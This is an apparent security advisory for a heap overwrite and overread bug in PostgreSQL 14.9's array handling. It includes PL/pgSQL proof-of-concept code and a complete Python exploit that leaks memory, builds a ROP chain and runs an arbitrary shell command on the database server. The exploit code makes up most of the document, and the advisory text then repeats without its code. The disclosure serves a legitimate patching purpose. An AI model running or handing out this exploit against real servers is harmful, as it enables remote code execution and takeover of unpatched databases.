Summary
There is an error in the way PostgreSQL handles arrays that are first set to have a lower bound of -MAXINT, and are updated to have an upper bound of MAXINT. The result is 2 fold. The first is an 8-byte heap overwrite at index -1. This can lead to overwriting a MemoryContext pointer with an attacker controlled value. The second is we are able to slice the corrupted array to read out-of-bounds.
This report only targeted PostgreSQL 14.9. Other versions were not tested against.
Severity
High - A user who is able to connect to a database and execute a DO statement is able to reach this vulnerability. As it provides a way to perform a heap overwrite and heap overreads Remote Code Execution is possible.
Proof of Concept
8-Byte Heap Overwrite
DO $$
DECLARE
a int8[];
BEGIN
a[-2147483648] = 1;
a[2147483647] = 4702111234474983745;
a[-2147483646] = 2;
END;
Attaching gdb to your session and running the PoC you’ll see the following
Program received signal SIGSEGV, Segmentation fault.
0x000055e70b689c37 in repalloc (pointer=0x55e70c4575f8, size=24) at mcxt.c:1201
1201 ret = context->methods->realloc(context, pointer, size);
(gdb) p context
$1 = (MemoryContext) 0x4141414141414141
Heap Overread
Slicing this array we’re able to read out-of-bounds as well.
DO $$
DECLARE
a int8[];
BEGIN
a[-2147483648] = 1;
a[2147483647] = 4702111234474983745 ;
RAISE NOTICE '%', a[2147483615:5];
END;
NOTICE: {128,94450831663824,4294967533,0,65536,0,94450831669808,94450831670384,0,0,0,0,0,0,0,0,0,0,64,94450831663824,4294967527,5,94450831670632,94450831670464,0,0,0,0,32,94450831663824,4294967424,85899345920,-9223372036854775808}
Further Analysis
The vulnerable function is array_set_element_expanded in arrayfuncs.c. When setting an element at an index the number of new elements is calculated. This value is then added to dim which will be used to perform bound checks.
if (indx[0] >= (dim[0] + lb[0]))
{
addedafter = indx[0] - (dim[0] + lb[0]) + 1;
dim[0] += addedafter;
dimschanged = true;
.. snip ..
if (dimschanged)
{
(void) ArrayGetNItems(ndim, dim);
ArrayCheckBounds(ndim, dim, lb);
}
With our setup of lower bound being -MAXINT and the new index being MAXINT this causes addedafter to be -1, and dim to be set to 0 allowing us to pass the checks that follow.
The offset for the index to write to is then calculated, which will return -1.
offset = ArrayGetOffset(nSubscripts, dim, lb, indx);
int
ArrayGetOffset(int n, const int *dim, const int *lb, const int *indx)
{
.. snip ..
for (i = n - 1; i >= 0; i--)
{
offset += (indx[i] - lb[i]) * scale;
scale *= dim[i];
}
return offset;
}
Our value is then written out-of-bounds, overwriting the MemoryContext.
dvalues[offset] = dataValue;
To trigger the dereferencing of the attacker-controlled MemoryContext we assign a new value into the array that will cause it to repalloc.
To trigger an overread you simply slice the array. By adjusting the slice index you can start at different positions and adjust how much is read.
Proof of Concept Exploit targeting Postgresql 14.9 on Ubuntu 22.04.3 LTS
#!/usr/bin/env python3
import psycopg
from absl import app
from absl import flags
# A word of caution: When writing int values directly into SQL
# don't use hex. It will silently read it as 0.
FLAGS = flags.FLAGS
flags.DEFINE_string("cmd", None, "Command to execute", required=True)
flags.DEFINE_string("dsn", None, "Connection string", required=True)
flags.DEFINE_integer("read_size", 0xfffff, "Out of bounds read size.")
# Use the following if unable to read AllocSet due to it allocating after
# our array.
flags.DEFINE_integer("spray_aset_count", 0, "Spray count for AllocSet size")
flags.DEFINE_integer("spray_eles_count", 0, "Spray count for Array size")
flags.DEFINE_integer("array_multi", 1, "Make the array larger")
def add_raw(rop_name, address):
payload = f"{rop_name}[rop_index] = {address};"
payload += "rop_index = rop_index + 1;"
payload += "rop_current = rop_current + 8;"
return payload
def add_gadget(rop_name, address):
payload = f"{rop_name}[rop_index] = image_base + {address};"
payload += "rop_index = rop_index + 1;"
payload += "rop_current = rop_current + 8;"
return payload
def add_string(rop_name, string, padding=" "):
# We're writing uint64_t so need to be 8 bytes.
payload = ""
string = string + padding * (8 - len(string) % 8)
chunk_count = int(len(string) / 8)
for chunk in [string[i:i+8] for i in range(0, chunk_count * 8, 8)]:
value = 0
chunk = chunk[::-1]
for c in chunk:
value <<= 8
value += ord(c)
payload += add_raw(rop_name, value)
# Null terminate
payload += add_raw(rop_name, 0)
return payload
def add_rop_address(rop_name, offset=0):
payload = f"{rop_name}[rop_index] = rop_current + {offset};"
payload += "rop_index = rop_index + 1;"
payload += "rop_current = rop_current + 8;"
return payload
def add_rop_base(rop_name, offset=0):
payload = f"{rop_name}[rop_index] = rop + {offset};"
payload += "rop_index = rop_index + 1;"
payload += "rop_current = rop_current + 8;"
return payload
def get_payload(read_size, cmd, spray_aset_count, spray_eles_count, array_multi):
rop_count = 10
# Target PostgreSQL 14.9 from Ubuntu 22.04.3 LTS
# Gadget offsets from base
# 0x00000000000c601a : ret
ret = 0xc601a
# 0x00000000005eed23 : xchg rax, rsp ; and al, 0x39 ; ret
xchg_rax_rsp_and_al_39_ret = 0x5eed23
# 0x00000000003c1eb1 : pop rdi ; ret
pop_rdi_ret = 0x3c1eb1
# 0x00000000000df01e : pop rsi ; ret
pop_rsi_ret = 0xdf01e
aset_method = 0x8ec7c0
open_pipe_stream = 0x4a16c8
payload = f"""
DO $$
DECLARE
a int8[];
b int8[];
leak int8[];
rop int8;
rop_current int8;
read_size int8 = {read_size};
lb int8 = -2147483648;
max int8 = 2147483647;
rop_size int8 = 9000 / 8;
end_leak int8 = {int(read_size / 8)};
aset_addr int8;
end_addr int8;
data_ptr int8;
chunk_size int8;
aset_diff int8;
func_ptr int8;
filler int8 = 2880249322;
tag int8 = 3735928559;
i int8;
rop_index int8;
image_base int8;
aset_size int8 = 224;
array_multi int8 = {array_multi};
"""
for i in range(0, spray_aset_count):
payload += f"spray_aset{i} text;"
for i in range(0, spray_eles_count):
payload += f"spray_eles{i} text;"
for i in range(0, rop_count):
payload += f"rop{i} int8[];"
payload += """
BEGIN
RAISE NOTICE '[+] Postgres Array Exploit by pedroga';
"""
for i in range(0, spray_aset_count):
payload += f"""
spray_aset{i} = repeat('A', (aset_size - 4)::int);
"""
for i in range(0, spray_eles_count):
payload += f"""
spray_eles{i} = repeat('A', ((rop_size * 8) - 4)::int);
"""
# Slice backwards to read the address of this block and its AllocSet.
payload += f"""
a = array_fill(-1, ARRAY[rop_size * array_multi]::int[], ARRAY[lb]::int[]);
a[max] = -1;
RAISE NOTICE '[+] Searching for AllocSet Methods Ptr';
leak = a[{0x80000000 - int(read_size/8)}:1];
aset_addr = leak[end_leak - 9];
end_addr = leak[end_leak - 5];
chunk_size = leak[end_leak - 4];
data_ptr = end_addr - chunk_size + 16 + 8;
aset_diff = (data_ptr - aset_addr) / 8;
"""
# Check if AllocSet was within our reach.
payload += """
IF aset_diff > end_leak THEN
RAISE NOTICE '[-] ASet is 0x% away, but read size is 0x%',
to_hex(aset_diff * 8),
to_hex(read_size);
RAISE NOTICE '[-] Update read_size and try again';
RETURN;
END IF;
aset_diff = end_leak - aset_diff + 1;
IF aset_addr > data_ptr THEN
RAISE NOTICE '[-] AllocSet is allocated afer the buffer...';
RAISE NOTICE '[-] AllocSet: 0x% Data: 0x%',
to_hex(aset_addr),
to_hex(data_ptr);
RETURN;
END IF;
"""
# Read the AllocSet Methods Ptr.
payload += f"""
func_ptr = leak[aset_diff + 2];
image_base = func_ptr - {aset_method};
RAISE NOTICE '[+] Image Base: 0x%', to_hex(image_base);
RAISE NOTICE '[+] func: 0x%', to_hex(func_ptr);
"""
payload += "RAISE NOTICE '[+] Spray Arrays';"
for i in range(0, rop_count):
payload += f"""
rop{i} = array_fill(filler, ARRAY[rop_size]::int[], ARRAY[lb]::int[]);
rop{i}[max] = tag;
"""
# Find our ROP Array.
payload += f"""
RAISE NOTICE '[+] Searching address of ROP';
b = array_fill(-1, ARRAY[rop_size]::int[], ARRAY[lb]::int[]);
b[max] = -1;
leak = b[{0x80000000 - int(read_size/8)}:1];
FOR i IN 1..array_length(leak, 1) LOOP
IF leak[i] = (rop_size * 8) AND
leak[i + 1] = tag AND
leak[i + 2] = filler THEN
rop = leak[i -1] - leak[i];
RAISE NOTICE '[+] ROP Found 0x%', to_hex(rop);
EXIT;
END IF;
END LOOP;
IF rop = -1 THEN
RAISE NOTICE '[-] Failed to find ROP...';
RETURN;
END IF;
"""
# Build our ROP Chain.
payload += "RAISE NOTICE '[+] Constructing ROP Chain';"
for i in range(0, rop_count):
payload += "rop_current = rop;"
# Start of RIP Control.
# rbx is the address of our rop.
# mov rax,QWORD PTR [rbx+0x10]
# call QWORD PTR [rax+0x10]
rop_name = f"rop{i}"
payload += f"{rop_name}[lb] = rop;"
payload += f"{rop_name}[lb + 2] = rop + 24;"
payload += "rop_index = lb + 3;"
# This will jump over our pivot.
payload += add_gadget(rop_name, ret)
payload += add_gadget(rop_name, pop_rdi_ret)
# Pivot
payload += add_gadget(rop_name, xchg_rax_rsp_and_al_39_ret)
# rsi = address of cmd
payload += add_gadget(rop_name, pop_rsi_ret)
payload += add_rop_address(rop_name, 7 * 8)
# rdi = address of "r"
payload += add_gadget(rop_name, pop_rdi_ret)
payload += add_rop_address(rop_name, 6 * 8)
# OpenPipeStream(cmd, "r")
payload += add_gadget(rop_name, open_pipe_stream)
payload += add_raw(rop_name, ord("r"))
payload += add_string(rop_name, cmd)
payload += """
RAISE NOTICE '[+] Jumping into ROP Chain';
b[max] = rop;
b[-2147473646] = 1;
"""
# If we get here something failed.
payload += """
RAISE NOTICE '[-] Failed...';
END;
$$ LANGUAGE plpgsql;
"""
return payload
def print_notice(diag):
msg = diag.message_primary
print(msg)
return
def test_connection(dsn):
with psycopg.connect(dsn) as conn:
conn.execute("SELECT 1;")
return
def main(unused_argv):
test_connection(FLAGS.dsn)
with psycopg.connect(FLAGS.dsn) as conn:
try:
conn.add_notice_handler(print_notice)
conn.execute(get_payload(FLAGS.read_size,
FLAGS.cmd,
FLAGS.spray_aset_count,
FLAGS.spray_eles_count,
FLAGS.array_multi))
except psycopg.OperationalError as e:
print(e)
pass
return
if __name__ == "__main__":
app.run(main)
Timeline
Date reported: 09/26/2023
Date fixed: 11/06/2023
Date disclosed: 1/3/2024
Summary
There is an error in the way PostgreSQL handles arrays that are first set to have a lower bound of -MAXINT, and are updated to have an upper bound of MAXINT. The result is 2 fold. The first is an 8-byte heap overwrite at index -1. This can lead to overwriting a MemoryContext pointer with an attacker controlled value. The second is we are able to slice the corrupted array to read out-of-bounds.
This report only targeted PostgreSQL 14.9. Other versions were not tested against.
Severity
High - A user who is able to connect to a database and execute a DO statement is able to reach this vulnerability. As it provides a way to perform a heap overwrite and heap overreads Remote Code Execution is possible.
Proof of Concept
8-Byte Heap Overwrite
Attaching gdb to your session and running the PoC you’ll see the following
Heap Overread
Slicing this array we’re able to read out-of-bounds as well.
Further Analysis
The vulnerable function is array_set_element_expanded in arrayfuncs.c. When setting an element at an index the number of new elements is calculated. This value is then added to dim which will be used to perform bound checks.
With our setup of lower bound being -MAXINT and the new index being MAXINT this causes addedafter to be -1, and dim to be set to 0 allowing us to pass the checks that follow.
The offset for the index to write to is then calculated, which will return -1.
Our value is then written out-of-bounds, overwriting the MemoryContext.
To trigger the dereferencing of the attacker-controlled MemoryContext we assign a new value into the array that will cause it to repalloc.
To trigger an overread you simply slice the array. By adjusting the slice index you can start at different positions and adjust how much is read.
Proof of Concept Exploit targeting Postgresql 14.9 on Ubuntu 22.04.3 LTS
Timeline
Date reported: 09/26/2023
Date fixed: 11/06/2023
Date disclosed: 1/3/2024